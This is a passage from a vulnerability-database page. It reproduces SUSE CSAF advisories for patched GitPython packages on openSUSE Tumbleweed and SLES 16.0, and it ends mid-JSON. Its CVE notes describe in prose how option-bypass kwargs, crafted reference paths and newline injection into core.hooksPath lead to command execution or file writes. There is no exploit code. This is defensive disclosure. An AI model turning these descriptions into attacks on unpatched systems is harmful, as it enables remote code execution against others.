| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python311-GitPython-3.1.49-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10758",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10758-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42215 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42215/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44243 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44243/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44244 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44244/"
}
],
"title": "python311-GitPython-3.1.49-1.1 on GA media",
"tracking": {
"current_release_date": "2026-05-12T00:00:00Z",
"generator": {
"date": "2026-05-12T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10758-1",
"initial_release_date": "2026-05-12T00:00:00Z",
"revision_history": [
{
"date": "2026-05-12T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python311-GitPython-3.1.49-1.1.aarch64",
"product_id": "python311-GitPython-3.1.49-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python313-GitPython-3.1.49-1.1.aarch64",
"product_id": "python313-GitPython-3.1.49-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python314-GitPython-3.1.49-1.1.aarch64",
"product_id": "python314-GitPython-3.1.49-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python311-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python311-GitPython-3.1.49-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python313-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python313-GitPython-3.1.49-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python314-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python314-GitPython-3.1.49-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python311-GitPython-3.1.49-1.1.s390x",
"product_id": "python311-GitPython-3.1.49-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python313-GitPython-3.1.49-1.1.s390x",
"product_id": "python313-GitPython-3.1.49-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python314-GitPython-3.1.49-1.1.s390x",
"product_id": "python314-GitPython-3.1.49-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python311-GitPython-3.1.49-1.1.x86_64",
"product_id": "python311-GitPython-3.1.49-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python313-GitPython-3.1.49-1.1.x86_64",
"product_id": "python313-GitPython-3.1.49-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python314-GitPython-3.1.49-1.1.x86_64",
"product_id": "python314-GitPython-3.1.49-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python311-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python311-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python311-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python311-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python313-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python313-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python313-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python313-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python314-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python314-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python314-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python314-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42215",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42215"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42215",
"url": "https://www.suse.com/security/cve/CVE-2026-42215"
},
{
"category": "external",
"summary": "SUSE Bug 1264604 for CVE-2026-42215",
"url": "https://bugzilla.suse.com/1264604"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42215"
},
{
"cve": "CVE-2026-44243",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44243"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0027s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44243",
"url": "https://www.suse.com/security/cve/CVE-2026-44243"
},
{
"category": "external",
"summary": "SUSE Bug 1264606 for CVE-2026-44243",
"url": "https://bugzilla.suse.com/1264606"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-44243"
},
{
"cve": "CVE-2026-44244",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44244"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header - so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44244",
"url": "https://www.suse.com/security/cve/CVE-2026-44244"
},
{
"category": "external",
"summary": "SUSE Bug 1264608 for CVE-2026-44244",
"url": "https://bugzilla.suse.com/1264608"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-44244"
}
]
}
SUSE-SU-2026:21813-1
Vulnerability from csaf_suse - Published: 2026-05-18 09:43 - Updated: 2026-05-18 09:43| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for python-GitPython",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n",
"title": "Description of the patch"
},
{
"category": "details",
"text": "SUSE-SLES-16.0-775",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/suse-su-2026_21813-1.json"
},
{
"category": "self",
"summary": "URL for SUSE-SU-2026:21813-1",
"url": "https://www.suse.com/support/update/announcement/2026/suse-su-202621813-1/"
},
{
"category": "self",
"summary": "E-Mail link for SUSE-SU-2026:21813-1",
"url": "https://lists.suse.com/pipermail/sle-updates/2026-May/046800.html"
},
{
"category": "self",
"summary": "SUSE Bug 1264604",
"url": "https://bugzilla.suse.com/1264604"
},
{
"category": "self",
"summary": "SUSE Bug 1264605",
"url": "https://bugzilla.suse.com/1264605"
},
{
"category": "self",
"summary": "SUSE Bug 1264606",
"url": "https://bugzilla.suse.com/1264606"
},
{
"category": "self",
"summary": "SUSE Bug 1264608",
"url": "https://bugzilla.suse.com/1264608"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42215 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42215/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42284 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42284/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44243 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44243/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44244 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44244/"
}
],
"title": "Security update for python-GitPython",
"tracking": {
"current_release_date": "2026-05-18T09:43:07Z",
"generator": {
"date": "2026-05-18T09:43:07Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "SUSE-SU-2026:21813-1",
"initial_release_date": "2026-05-18T09:43:07Z",
"revision_history": [
{
"date": "2026-05-18T09:43:07Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python313-GitPython-3.1.44-160000.3.1.noarch",
"product": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch",
"product_id": "python313-GitPython-3.1.44-160000.3.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Linux Enterprise Server 16.0",
"product": {
"name": "SUSE Linux Enterprise Server 16.0",
"product_id": "SUSE Linux Enterprise Server 16.0",
"product_identification_helper": {
"cpe": "cpe:/o:suse:sles:16:16.0:server"
}
}
},
{
"category": "product_name",
"name": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product": {
"name": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product_id": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product_identification_helper": {
"cpe": "cpe:/o:suse:sles:16:16.0:server-sap"
}
}
}
],
